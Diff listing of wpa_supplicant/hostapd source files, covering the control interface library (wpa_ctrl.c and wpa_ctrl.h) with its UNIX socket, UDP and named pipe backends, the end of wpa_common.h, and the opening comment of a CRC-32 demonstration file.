const u8 *ftie, size_t ftie_len,
|
||||
const u8 *rsnie, size_t rsnie_len,
|
||||
const u8 *ric, size_t ric_len, u8 *mic);
|
||||
void wpa_derive_pmk_r0(const u8 *xxkey, size_t xxkey_len,
|
||||
const u8 *ssid, size_t ssid_len,
|
||||
const u8 *mdid, const u8 *r0kh_id, size_t r0kh_id_len,
|
||||
const u8 *s0kh_id, u8 *pmk_r0, u8 *pmk_r0_name);
|
||||
void wpa_derive_pmk_r1_name(const u8 *pmk_r0_name, const u8 *r1kh_id,
|
||||
const u8 *s1kh_id, u8 *pmk_r1_name);
|
||||
void wpa_derive_pmk_r1(const u8 *pmk_r0, const u8 *pmk_r0_name,
|
||||
const u8 *r1kh_id, const u8 *s1kh_id,
|
||||
u8 *pmk_r1, u8 *pmk_r1_name);
|
||||
void wpa_pmk_r1_to_ptk(const u8 *pmk_r1, const u8 *snonce, const u8 *anonce,
|
||||
const u8 *sta_addr, const u8 *bssid,
|
||||
const u8 *pmk_r1_name,
|
||||
u8 *ptk, size_t ptk_len, u8 *ptk_name);
|
||||
#endif /* CONFIG_IEEE80211R */
|
||||
|
||||
struct wpa_ie_data {
|
||||
int proto;
|
||||
int pairwise_cipher;
|
||||
int group_cipher;
|
||||
int key_mgmt;
|
||||
int capabilities;
|
||||
size_t num_pmkid;
|
||||
const u8 *pmkid;
|
||||
int mgmt_group_cipher;
|
||||
};
|
||||
|
||||
|
||||
int wpa_parse_wpa_ie_rsn(const u8 *rsn_ie, size_t rsn_ie_len,
|
||||
struct wpa_ie_data *data);
|
||||
|
||||
void rsn_pmkid(const u8 *pmk, size_t pmk_len, const u8 *aa, const u8 *spa,
|
||||
u8 *pmkid, int use_sha256);
|
||||
|
||||
const char * wpa_cipher_txt(int cipher);
|
||||
const char * wpa_key_mgmt_txt(int key_mgmt, int proto);
|
||||
int wpa_compare_rsn_ie(int ft_initial_assoc,
|
||||
const u8 *ie1, size_t ie1len,
|
||||
const u8 *ie2, size_t ie2len);
|
||||
int wpa_insert_pmkid(u8 *ies, size_t ies_len, const u8 *pmkid);
|
||||
|
||||
#endif /* WPA_COMMON_H */
|
|
@ -0,0 +1,455 @@
|
|||
/*
|
||||
* wpa_supplicant/hostapd control interface library
|
||||
* Copyright (c) 2004-2007, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#ifdef CONFIG_CTRL_IFACE
|
||||
|
||||
#ifdef CONFIG_CTRL_IFACE_UNIX
|
||||
#include <sys/un.h>
|
||||
#endif /* CONFIG_CTRL_IFACE_UNIX */
|
||||
|
||||
#include "wpa_ctrl.h"
|
||||
#include "common.h"
|
||||
|
||||
|
||||
#if defined(CONFIG_CTRL_IFACE_UNIX) || defined(CONFIG_CTRL_IFACE_UDP)
|
||||
#define CTRL_IFACE_SOCKET
|
||||
#endif /* CONFIG_CTRL_IFACE_UNIX || CONFIG_CTRL_IFACE_UDP */
|
||||
|
||||
|
||||
/**
|
||||
* struct wpa_ctrl - Internal structure for control interface library
|
||||
*
|
||||
* This structure is used by the wpa_supplicant/hostapd control interface
|
||||
* library to store internal data. Programs using the library should not touch
|
||||
* this data directly. They can only use the pointer to the data structure as
|
||||
* an identifier for the control interface connection and use this as one of
|
||||
* the arguments for most of the control interface library functions.
|
||||
*/
|
||||
struct wpa_ctrl {
|
||||
#ifdef CONFIG_CTRL_IFACE_UDP
|
||||
int s;
|
||||
struct sockaddr_in local;
|
||||
struct sockaddr_in dest;
|
||||
char *cookie;
|
||||
#endif /* CONFIG_CTRL_IFACE_UDP */
|
||||
#ifdef CONFIG_CTRL_IFACE_UNIX
|
||||
int s;
|
||||
struct sockaddr_un local;
|
||||
struct sockaddr_un dest;
|
||||
#endif /* CONFIG_CTRL_IFACE_UNIX */
|
||||
#ifdef CONFIG_CTRL_IFACE_NAMED_PIPE
|
||||
HANDLE pipe;
|
||||
#endif /* CONFIG_CTRL_IFACE_NAMED_PIPE */
|
||||
};
|
||||
|
||||
|
||||
#ifdef CONFIG_CTRL_IFACE_UNIX
|
||||
|
||||
struct wpa_ctrl * wpa_ctrl_open(const char *ctrl_path)
|
||||
{
|
||||
struct wpa_ctrl *ctrl;
|
||||
static int counter = 0;
|
||||
int ret;
|
||||
size_t res;
|
||||
int tries = 0;
|
||||
|
||||
ctrl = os_malloc(sizeof(*ctrl));
|
||||
if (ctrl == NULL)
|
||||
return NULL;
|
||||
os_memset(ctrl, 0, sizeof(*ctrl));
|
||||
|
||||
ctrl->s = socket(PF_UNIX, SOCK_DGRAM, 0);
|
||||
if (ctrl->s < 0) {
|
||||
os_free(ctrl);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
ctrl->local.sun_family = AF_UNIX;
|
||||
counter++;
|
||||
try_again:
|
||||
ret = os_snprintf(ctrl->local.sun_path, sizeof(ctrl->local.sun_path),
|
||||
"/tmp/wpa_ctrl_%d-%d", getpid(), counter);
|
||||
if (ret < 0 || (size_t) ret >= sizeof(ctrl->local.sun_path)) {
|
||||
close(ctrl->s);
|
||||
os_free(ctrl);
|
||||
return NULL;
|
||||
}
|
||||
tries++;
|
||||
if (bind(ctrl->s, (struct sockaddr *) &ctrl->local,
|
||||
sizeof(ctrl->local)) < 0) {
|
||||
if (errno == EADDRINUSE && tries < 2) {
|
||||
/*
|
||||
* getpid() returns unique identifier for this instance
|
||||
* of wpa_ctrl, so the existing socket file must have
|
||||
* been left by unclean termination of an earlier run.
|
||||
* Remove the file and try again.
|
||||
*/
|
||||
unlink(ctrl->local.sun_path);
|
||||
goto try_again;
|
||||
}
|
||||
close(ctrl->s);
|
||||
os_free(ctrl);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
ctrl->dest.sun_family = AF_UNIX;
|
||||
res = os_strlcpy(ctrl->dest.sun_path, ctrl_path,
|
||||
sizeof(ctrl->dest.sun_path));
|
||||
if (res >= sizeof(ctrl->dest.sun_path)) {
|
||||
close(ctrl->s);
|
||||
os_free(ctrl);
|
||||
return NULL;
|
||||
}
|
||||
if (connect(ctrl->s, (struct sockaddr *) &ctrl->dest,
|
||||
sizeof(ctrl->dest)) < 0) {
|
||||
close(ctrl->s);
|
||||
unlink(ctrl->local.sun_path);
|
||||
os_free(ctrl);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return ctrl;
|
||||
}
|
||||
|
||||
|
||||
void wpa_ctrl_close(struct wpa_ctrl *ctrl)
|
||||
{
|
||||
unlink(ctrl->local.sun_path);
|
||||
close(ctrl->s);
|
||||
os_free(ctrl);
|
||||
}
|
||||
|
||||
#endif /* CONFIG_CTRL_IFACE_UNIX */
|
||||
|
||||
|
||||
#ifdef CONFIG_CTRL_IFACE_UDP
|
||||
|
||||
struct wpa_ctrl * wpa_ctrl_open(const char *ctrl_path)
|
||||
{
|
||||
struct wpa_ctrl *ctrl;
|
||||
char buf[128];
|
||||
size_t len;
|
||||
|
||||
ctrl = os_malloc(sizeof(*ctrl));
|
||||
if (ctrl == NULL)
|
||||
return NULL;
|
||||
os_memset(ctrl, 0, sizeof(*ctrl));
|
||||
|
||||
ctrl->s = socket(PF_INET, SOCK_DGRAM, 0);
|
||||
if (ctrl->s < 0) {
|
||||
perror("socket");
|
||||
os_free(ctrl);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
ctrl->local.sin_family = AF_INET;
|
||||
ctrl->local.sin_addr.s_addr = htonl((127 << 24) | 1);
|
||||
if (bind(ctrl->s, (struct sockaddr *) &ctrl->local,
|
||||
sizeof(ctrl->local)) < 0) {
|
||||
close(ctrl->s);
|
||||
os_free(ctrl);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
ctrl->dest.sin_family = AF_INET;
|
||||
ctrl->dest.sin_addr.s_addr = htonl((127 << 24) | 1);
|
||||
ctrl->dest.sin_port = htons(WPA_CTRL_IFACE_PORT);
|
||||
if (connect(ctrl->s, (struct sockaddr *) &ctrl->dest,
|
||||
sizeof(ctrl->dest)) < 0) {
|
||||
perror("connect");
|
||||
close(ctrl->s);
|
||||
os_free(ctrl);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
len = sizeof(buf) - 1;
|
||||
if (wpa_ctrl_request(ctrl, "GET_COOKIE", 10, buf, &len, NULL) == 0) {
|
||||
buf[len] = '\0';
|
||||
ctrl->cookie = os_strdup(buf);
|
||||
}
|
||||
|
||||
return ctrl;
|
||||
}
|
||||
|
||||
|
||||
void wpa_ctrl_close(struct wpa_ctrl *ctrl)
|
||||
{
|
||||
close(ctrl->s);
|
||||
os_free(ctrl->cookie);
|
||||
os_free(ctrl);
|
||||
}
|
||||
|
||||
#endif /* CONFIG_CTRL_IFACE_UDP */
|
||||
|
||||
|
||||
#ifdef CTRL_IFACE_SOCKET
|
||||
int wpa_ctrl_request(struct wpa_ctrl *ctrl, const char *cmd, size_t cmd_len,
|
||||
char *reply, size_t *reply_len,
|
||||
void (*msg_cb)(char *msg, size_t len))
|
||||
{
|
||||
struct timeval tv;
|
||||
int res;
|
||||
fd_set rfds;
|
||||
const char *_cmd;
|
||||
char *cmd_buf = NULL;
|
||||
size_t _cmd_len;
|
||||
|
||||
#ifdef CONFIG_CTRL_IFACE_UDP
|
||||
if (ctrl->cookie) {
|
||||
char *pos;
|
||||
_cmd_len = os_strlen(ctrl->cookie) + 1 + cmd_len;
|
||||
cmd_buf = os_malloc(_cmd_len);
|
||||
if (cmd_buf == NULL)
|
||||
return -1;
|
||||
_cmd = cmd_buf;
|
||||
pos = cmd_buf;
|
||||
os_strlcpy(pos, ctrl->cookie, _cmd_len);
|
||||
pos += os_strlen(ctrl->cookie);
|
||||
*pos++ = ' ';
|
||||
os_memcpy(pos, cmd, cmd_len);
|
||||
} else
|
||||
#endif /* CONFIG_CTRL_IFACE_UDP */
|
||||
{
|
||||
_cmd = cmd;
|
||||
_cmd_len = cmd_len;
|
||||
}
|
||||
|
||||
if (send(ctrl->s, _cmd, _cmd_len, 0) < 0) {
|
||||
os_free(cmd_buf);
|
||||
return -1;
|
||||
}
|
||||
os_free(cmd_buf);
|
||||
|
||||
for (;;) {
|
||||
tv.tv_sec = 2;
|
||||
tv.tv_usec = 0;
|
||||
FD_ZERO(&rfds);
|
||||
FD_SET(ctrl->s, &rfds);
|
||||
res = select(ctrl->s + 1, &rfds, NULL, NULL, &tv);
|
||||
if (FD_ISSET(ctrl->s, &rfds)) {
|
||||
res = recv(ctrl->s, reply, *reply_len, 0);
|
||||
if (res < 0)
|
||||
return res;
|
||||
if (res > 0 && reply[0] == '<') {
|
||||
/* This is an unsolicited message from
|
||||
* wpa_supplicant, not the reply to the
|
||||
* request. Use msg_cb to report this to the
|
||||
* caller. */
|
||||
if (msg_cb) {
|
||||
/* Make sure the message is nul
|
||||
* terminated. */
|
||||
if ((size_t) res == *reply_len)
|
||||
res = (*reply_len) - 1;
|
||||
reply[res] = '\0';
|
||||
msg_cb(reply, res);
|
||||
}
|
||||
continue;
|
||||
}
|
||||
*reply_len = res;
|
||||
break;
|
||||
} else {
|
||||
return -2;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
#endif /* CTRL_IFACE_SOCKET */
|
||||
|
||||
|
||||
static int wpa_ctrl_attach_helper(struct wpa_ctrl *ctrl, int attach)
|
||||
{
|
||||
char buf[10];
|
||||
int ret;
|
||||
size_t len = 10;
|
||||
|
||||
ret = wpa_ctrl_request(ctrl, attach ? "ATTACH" : "DETACH", 6,
|
||||
buf, &len, NULL);
|
||||
if (ret < 0)
|
||||
return ret;
|
||||
if (len == 3 && os_memcmp(buf, "OK\n", 3) == 0)
|
||||
return 0;
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int wpa_ctrl_attach(struct wpa_ctrl *ctrl)
|
||||
{
|
||||
return wpa_ctrl_attach_helper(ctrl, 1);
|
||||
}
|
||||
|
||||
|
||||
int wpa_ctrl_detach(struct wpa_ctrl *ctrl)
|
||||
{
|
||||
return wpa_ctrl_attach_helper(ctrl, 0);
|
||||
}
|
||||
|
||||
|
||||
#ifdef CTRL_IFACE_SOCKET
|
||||
|
||||
int wpa_ctrl_recv(struct wpa_ctrl *ctrl, char *reply, size_t *reply_len)
|
||||
{
|
||||
int res;
|
||||
|
||||
res = recv(ctrl->s, reply, *reply_len, 0);
|
||||
if (res < 0)
|
||||
return res;
|
||||
*reply_len = res;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int wpa_ctrl_pending(struct wpa_ctrl *ctrl)
|
||||
{
|
||||
struct timeval tv;
|
||||
fd_set rfds;
|
||||
tv.tv_sec = 0;
|
||||
tv.tv_usec = 0;
|
||||
FD_ZERO(&rfds);
|
||||
FD_SET(ctrl->s, &rfds);
|
||||
select(ctrl->s + 1, &rfds, NULL, NULL, &tv);
|
||||
return FD_ISSET(ctrl->s, &rfds);
|
||||
}
|
||||
|
||||
|
||||
int wpa_ctrl_get_fd(struct wpa_ctrl *ctrl)
|
||||
{
|
||||
return ctrl->s;
|
||||
}
|
||||
|
||||
#endif /* CTRL_IFACE_SOCKET */
|
||||
|
||||
|
||||
#ifdef CONFIG_CTRL_IFACE_NAMED_PIPE
|
||||
|
||||
#ifndef WPA_SUPPLICANT_NAMED_PIPE
|
||||
#define WPA_SUPPLICANT_NAMED_PIPE "WpaSupplicant"
|
||||
#endif
|
||||
#define NAMED_PIPE_PREFIX TEXT("\\\\.\\pipe\\") TEXT(WPA_SUPPLICANT_NAMED_PIPE)
|
||||
|
||||
struct wpa_ctrl * wpa_ctrl_open(const char *ctrl_path)
|
||||
{
|
||||
struct wpa_ctrl *ctrl;
|
||||
DWORD mode;
|
||||
TCHAR name[256];
|
||||
int i, ret;
|
||||
|
||||
ctrl = os_malloc(sizeof(*ctrl));
|
||||
if (ctrl == NULL)
|
||||
return NULL;
|
||||
os_memset(ctrl, 0, sizeof(*ctrl));
|
||||
|
||||
#ifdef UNICODE
|
||||
if (ctrl_path == NULL)
|
||||
ret = _snwprintf(name, 256, NAMED_PIPE_PREFIX);
|
||||
else
|
||||
ret = _snwprintf(name, 256, NAMED_PIPE_PREFIX TEXT("-%S"),
|
||||
ctrl_path);
|
||||
#else /* UNICODE */
|
||||
if (ctrl_path == NULL)
|
||||
ret = os_snprintf(name, 256, NAMED_PIPE_PREFIX);
|
||||
else
|
||||
ret = os_snprintf(name, 256, NAMED_PIPE_PREFIX "-%s",
|
||||
ctrl_path);
|
||||
#endif /* UNICODE */
|
||||
if (ret < 0 || ret >= 256) {
|
||||
os_free(ctrl);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
for (i = 0; i < 10; i++) {
|
||||
ctrl->pipe = CreateFile(name, GENERIC_READ | GENERIC_WRITE, 0,
|
||||
NULL, OPEN_EXISTING, 0, NULL);
|
||||
/*
|
||||
* Current named pipe server side in wpa_supplicant is
|
||||
* re-opening the pipe for new clients only after the previous
|
||||
* one is taken into use. This leaves a small window for race
|
||||
* conditions when two connections are being opened at almost
|
||||
* the same time. Retry if that was the case.
|
||||
*/
|
||||
if (ctrl->pipe != INVALID_HANDLE_VALUE ||
|
||||
GetLastError() != ERROR_PIPE_BUSY)
|
||||
break;
|
||||
WaitNamedPipe(name, 1000);
|
||||
}
|
||||
if (ctrl->pipe == INVALID_HANDLE_VALUE) {
|
||||
os_free(ctrl);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
mode = PIPE_READMODE_MESSAGE;
|
||||
if (!SetNamedPipeHandleState(ctrl->pipe, &mode, NULL, NULL)) {
|
||||
CloseHandle(ctrl->pipe);
|
||||
os_free(ctrl);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return ctrl;
|
||||
}
|
||||
|
||||
|
||||
void wpa_ctrl_close(struct wpa_ctrl *ctrl)
|
||||
{
|
||||
CloseHandle(ctrl->pipe);
|
||||
os_free(ctrl);
|
||||
}
|
||||
|
||||
|
||||
int wpa_ctrl_request(struct wpa_ctrl *ctrl, const char *cmd, size_t cmd_len,
|
||||
char *reply, size_t *reply_len,
|
||||
void (*msg_cb)(char *msg, size_t len))
|
||||
{
|
||||
DWORD written;
|
||||
DWORD readlen = *reply_len;
|
||||
|
||||
if (!WriteFile(ctrl->pipe, cmd, cmd_len, &written, NULL))
|
||||
return -1;
|
||||
|
||||
if (!ReadFile(ctrl->pipe, reply, *reply_len, &readlen, NULL))
|
||||
return -1;
|
||||
*reply_len = readlen;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int wpa_ctrl_recv(struct wpa_ctrl *ctrl, char *reply, size_t *reply_len)
|
||||
{
|
||||
DWORD len = *reply_len;
|
||||
if (!ReadFile(ctrl->pipe, reply, *reply_len, &len, NULL))
|
||||
return -1;
|
||||
*reply_len = len;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int wpa_ctrl_pending(struct wpa_ctrl *ctrl)
|
||||
{
|
||||
DWORD left;
|
||||
|
||||
if (!PeekNamedPipe(ctrl->pipe, NULL, 0, NULL, &left, NULL))
|
||||
return -1;
|
||||
return left ? 1 : 0;
|
||||
}
|
||||
|
||||
|
||||
int wpa_ctrl_get_fd(struct wpa_ctrl *ctrl)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
#endif /* CONFIG_CTRL_IFACE_NAMED_PIPE */
|
||||
|
||||
#endif /* CONFIG_CTRL_IFACE */
|
|
@ -0,0 +1,236 @@
|
|||
/*
|
||||
* wpa_supplicant/hostapd control interface library
|
||||
* Copyright (c) 2004-2006, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#ifndef WPA_CTRL_H
|
||||
#define WPA_CTRL_H
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* wpa_supplicant control interface - fixed message prefixes */
|
||||
|
||||
/** Interactive request for identity/password/pin */
|
||||
#define WPA_CTRL_REQ "CTRL-REQ-"
|
||||
|
||||
/** Response to identity/password/pin request */
|
||||
#define WPA_CTRL_RSP "CTRL-RSP-"
|
||||
|
||||
/* Event messages with fixed prefix */
|
||||
/** Authentication completed successfully and data connection enabled */
|
||||
#define WPA_EVENT_CONNECTED "CTRL-EVENT-CONNECTED "
|
||||
/** Disconnected, data connection is not available */
|
||||
#define WPA_EVENT_DISCONNECTED "CTRL-EVENT-DISCONNECTED "
|
||||
/** wpa_supplicant is exiting */
|
||||
#define WPA_EVENT_TERMINATING "CTRL-EVENT-TERMINATING "
|
||||
/** Password change was completed successfully */
|
||||
#define WPA_EVENT_PASSWORD_CHANGED "CTRL-EVENT-PASSWORD-CHANGED "
|
||||
/** EAP-Request/Notification received */
|
||||
#define WPA_EVENT_EAP_NOTIFICATION "CTRL-EVENT-EAP-NOTIFICATION "
|
||||
/** EAP authentication started (EAP-Request/Identity received) */
|
||||
#define WPA_EVENT_EAP_STARTED "CTRL-EVENT-EAP-STARTED "
|
||||
/** EAP method proposed by the server */
|
||||
#define WPA_EVENT_EAP_PROPOSED_METHOD "CTRL-EVENT-EAP-PROPOSED-METHOD "
|
||||
/** EAP method selected */
|
||||
#define WPA_EVENT_EAP_METHOD "CTRL-EVENT-EAP-METHOD "
|
||||
/** EAP peer certificate from TLS */
|
||||
#define WPA_EVENT_EAP_PEER_CERT "CTRL-EVENT-EAP-PEER-CERT "
|
||||
/** EAP TLS certificate chain validation error */
|
||||
#define WPA_EVENT_EAP_TLS_CERT_ERROR "CTRL-EVENT-EAP-TLS-CERT-ERROR "
|
||||
/** EAP authentication completed successfully */
|
||||
#define WPA_EVENT_EAP_SUCCESS "CTRL-EVENT-EAP-SUCCESS "
|
||||
/** EAP authentication failed (EAP-Failure received) */
|
||||
#define WPA_EVENT_EAP_FAILURE "CTRL-EVENT-EAP-FAILURE "
|
||||
/** New scan results available */
|
||||
#define WPA_EVENT_SCAN_RESULTS "CTRL-EVENT-SCAN-RESULTS "
|
||||
/** A new BSS entry was added (followed by BSS entry id and BSSID) */
|
||||
#define WPA_EVENT_BSS_ADDED "CTRL-EVENT-BSS-ADDED "
|
||||
/** A BSS entry was removed (followed by BSS entry id and BSSID) */
|
||||
#define WPA_EVENT_BSS_REMOVED "CTRL-EVENT-BSS-REMOVED "
|
||||
|
||||
/** WPS overlap detected in PBC mode */
|
||||
#define WPS_EVENT_OVERLAP "WPS-OVERLAP-DETECTED "
|
||||
/** Available WPS AP with active PBC found in scan results */
|
||||
#define WPS_EVENT_AP_AVAILABLE_PBC "WPS-AP-AVAILABLE-PBC "
|
||||
/** Available WPS AP with recently selected PIN registrar found in scan results
|
||||
*/
|
||||
#define WPS_EVENT_AP_AVAILABLE_PIN "WPS-AP-AVAILABLE-PIN "
|
||||
/** Available WPS AP found in scan results */
|
||||
#define WPS_EVENT_AP_AVAILABLE "WPS-AP-AVAILABLE "
|
||||
/** A new credential received */
|
||||
#define WPS_EVENT_CRED_RECEIVED "WPS-CRED-RECEIVED "
|
||||
/** M2D received */
|
||||
#define WPS_EVENT_M2D "WPS-M2D "
|
||||
/** WPS registration failed after M2/M2D */
|
||||
#define WPS_EVENT_FAIL "WPS-FAIL "
|
||||
/** WPS registration completed successfully */
|
||||
#define WPS_EVENT_SUCCESS "WPS-SUCCESS "
|
||||
/** WPS enrollment attempt timed out and was terminated */
|
||||
#define WPS_EVENT_TIMEOUT "WPS-TIMEOUT "
|
||||
|
||||
#define WPS_EVENT_ENROLLEE_SEEN "WPS-ENROLLEE-SEEN "
|
||||
|
||||
/* WPS ER events */
|
||||
#define WPS_EVENT_ER_AP_ADD "WPS-ER-AP-ADD "
|
||||
#define WPS_EVENT_ER_AP_REMOVE "WPS-ER-AP-REMOVE "
|
||||
#define WPS_EVENT_ER_ENROLLEE_ADD "WPS-ER-ENROLLEE-ADD "
|
||||
#define WPS_EVENT_ER_ENROLLEE_REMOVE "WPS-ER-ENROLLEE-REMOVE "
|
||||
|
||||
/* hostapd control interface - fixed message prefixes */
|
||||
#define WPS_EVENT_PIN_NEEDED "WPS-PIN-NEEDED "
|
||||
#define WPS_EVENT_NEW_AP_SETTINGS "WPS-NEW-AP-SETTINGS "
|
||||
#define WPS_EVENT_REG_SUCCESS "WPS-REG-SUCCESS "
|
||||
#define WPS_EVENT_AP_SETUP_LOCKED "WPS-AP-SETUP-LOCKED "
|
||||
#define WPS_EVENT_AP_SETUP_UNLOCKED "WPS-AP-SETUP-UNLOCKED "
|
||||
#define WPS_EVENT_AP_PIN_ENABLED "WPS-AP-PIN-ENABLED "
|
||||
#define WPS_EVENT_AP_PIN_DISABLED "WPS-AP-PIN-DISABLED "
|
||||
#define AP_STA_CONNECTED "AP-STA-CONNECTED "
|
||||
#define AP_STA_DISCONNECTED "AP-STA-DISCONNECTED "
|
||||
|
||||
|
||||
/* wpa_supplicant/hostapd control interface access */
|
||||
|
||||
/**
|
||||
* wpa_ctrl_open - Open a control interface to wpa_supplicant/hostapd
|
||||
* @ctrl_path: Path for UNIX domain sockets; ignored if UDP sockets are used.
|
||||
* Returns: Pointer to abstract control interface data or %NULL on failure
|
||||
*
|
||||
* This function is used to open a control interface to wpa_supplicant/hostapd.
|
||||
* ctrl_path is usually /var/run/wpa_supplicant or /var/run/hostapd. This path
|
||||
* is configured in wpa_supplicant/hostapd and other programs using the control
|
||||
* interface need to use matching path configuration.
|
||||
*/
|
||||
struct wpa_ctrl * wpa_ctrl_open(const char *ctrl_path);
|
||||
|
||||
|
||||
/**
|
||||
* wpa_ctrl_close - Close a control interface to wpa_supplicant/hostapd
|
||||
* @ctrl: Control interface data from wpa_ctrl_open()
|
||||
*
|
||||
* This function is used to close a control interface.
|
||||
*/
|
||||
void wpa_ctrl_close(struct wpa_ctrl *ctrl);
|
||||
|
||||
|
||||
/**
|
||||
* wpa_ctrl_request - Send a command to wpa_supplicant/hostapd
|
||||
* @ctrl: Control interface data from wpa_ctrl_open()
|
||||
* @cmd: Command; usually, ASCII text, e.g., "PING"
|
||||
* @cmd_len: Length of the cmd in bytes
|
||||
* @reply: Buffer for the response
|
||||
* @reply_len: Reply buffer length
|
||||
* @msg_cb: Callback function for unsolicited messages or %NULL if not used
|
||||
* Returns: 0 on success, -1 on error (send or receive failed), -2 on timeout
|
||||
*
|
||||
* This function is used to send commands to wpa_supplicant/hostapd. Received
|
||||
* response will be written to reply and reply_len is set to the actual length
|
||||
* of the reply. This function will block for up to two seconds while waiting
|
||||
* for the reply. If unsolicited messages are received, the blocking time may
|
||||
* be longer.
|
||||
*
|
||||
* msg_cb can be used to register a callback function that will be called for
|
||||
* unsolicited messages received while waiting for the command response. These
|
||||
* messages may be received if wpa_ctrl_request() is called at the same time as
|
||||
* wpa_supplicant/hostapd is sending such a message. This can happen only if
|
||||
* the program has used wpa_ctrl_attach() to register itself as a monitor for
|
||||
* event messages. Alternatively to msg_cb, programs can register two control
|
||||
* interface connections and use one of them for commands and the other one for
|
||||
* receiving event messages, in other words, call wpa_ctrl_attach() only for
|
||||
* the control interface connection that will be used for event messages.
|
||||
*/
|
||||
int wpa_ctrl_request(struct wpa_ctrl *ctrl, const char *cmd, size_t cmd_len,
|
||||
char *reply, size_t *reply_len,
|
||||
void (*msg_cb)(char *msg, size_t len));
|
||||
|
||||
|
||||
/**
|
||||
* wpa_ctrl_attach - Register as an event monitor for the control interface
|
||||
* @ctrl: Control interface data from wpa_ctrl_open()
|
||||
* Returns: 0 on success, -1 on failure, -2 on timeout
|
||||
*
|
||||
* This function registers the control interface connection as a monitor for
|
||||
* wpa_supplicant/hostapd events. After a success wpa_ctrl_attach() call, the
|
||||
* control interface connection starts receiving event messages that can be
|
||||
* read with wpa_ctrl_recv().
|
||||
*/
|
||||
int wpa_ctrl_attach(struct wpa_ctrl *ctrl);
|
||||
|
||||
|
||||
/**
|
||||
* wpa_ctrl_detach - Unregister event monitor from the control interface
|
||||
* @ctrl: Control interface data from wpa_ctrl_open()
|
||||
* Returns: 0 on success, -1 on failure, -2 on timeout
|
||||
*
|
||||
* This function unregisters the control interface connection as a monitor for
|
||||
* wpa_supplicant/hostapd events, i.e., cancels the registration done with
|
||||
* wpa_ctrl_attach().
|
||||
*/
|
||||
int wpa_ctrl_detach(struct wpa_ctrl *ctrl);
|
||||
|
||||
|
||||
/**
|
||||
* wpa_ctrl_recv - Receive a pending control interface message
|
||||
* @ctrl: Control interface data from wpa_ctrl_open()
|
||||
* @reply: Buffer for the message data
|
||||
* @reply_len: Length of the reply buffer
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*
|
||||
* This function will receive a pending control interface message. This
|
||||
* function will block if no messages are available. The received response will
|
||||
* be written to reply and reply_len is set to the actual length of the reply.
|
||||
* wpa_ctrl_recv() is only used for event messages, i.e., wpa_ctrl_attach()
|
||||
* must have been used to register the control interface as an event monitor.
|
||||
*/
|
||||
int wpa_ctrl_recv(struct wpa_ctrl *ctrl, char *reply, size_t *reply_len);
|
||||
|
||||
|
||||
/**
|
||||
* wpa_ctrl_pending - Check whether there are pending event messages
|
||||
* @ctrl: Control interface data from wpa_ctrl_open()
|
||||
* Returns: 1 if there are pending messages, 0 if no, or -1 on error
|
||||
*
|
||||
* This function will check whether there are any pending control interface
|
||||
* message available to be received with wpa_ctrl_recv(). wpa_ctrl_pending() is
|
||||
* only used for event messages, i.e., wpa_ctrl_attach() must have been used to
|
||||
* register the control interface as an event monitor.
|
||||
*/
|
||||
int wpa_ctrl_pending(struct wpa_ctrl *ctrl);
|
||||
|
||||
|
||||
/**
|
||||
* wpa_ctrl_get_fd - Get file descriptor used by the control interface
|
||||
* @ctrl: Control interface data from wpa_ctrl_open()
|
||||
* Returns: File descriptor used for the connection
|
||||
*
|
||||
* This function can be used to get the file descriptor that is used for the
|
||||
* control interface connection. The returned value can be used, e.g., with
|
||||
* select() while waiting for multiple events.
|
||||
*
|
||||
* The returned file descriptor must not be used directly for sending or
|
||||
* receiving packets; instead, the library functions wpa_ctrl_request() and
|
||||
* wpa_ctrl_recv() must be used for this.
|
||||
*/
|
||||
int wpa_ctrl_get_fd(struct wpa_ctrl *ctrl);
|
||||
|
||||
#ifdef CONFIG_CTRL_IFACE_UDP
|
||||
#define WPA_CTRL_IFACE_PORT 9877
|
||||
#define WPA_GLOBAL_CTRL_IFACE_PORT 9878
|
||||
#endif /* CONFIG_CTRL_IFACE_UDP */
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* WPA_CTRL_H */
|
|
@ -0,0 +1,117 @@
|
|||
/**********************************************************************\
|
||||
|* Demonstration program to compute the 32-bit CRC used as the frame *|
|
||||
|* check sequence in ADCCP (ANSI X3.66, also known as FIPS PUB 71 *|
|
||||
|* and FED-STD-1003, the U.S. versions of CCITT's X.25 link-level *|
|
||||
|* protocol). The 32-bit FCS was added via the Federal Register, *|
|
||||
|* 1 June 1982, p.23798. I presume but don't know for certain that *|
|
||||
|* this polynomial is or will be included in CCITT V.41, which *|
|
||||
|* defines the 16-bit CRC (often called CRC-CCITT) polynomial. FIPS *|
|
||||
|* PUB 78 says that the 32-bit FCS reduces otherwise undetected *|
|
||||
|* errors by a factor of 10^-5 over 16-bit FCS. *|
|
||||
\**********************************************************************/
|
||||
|
||||
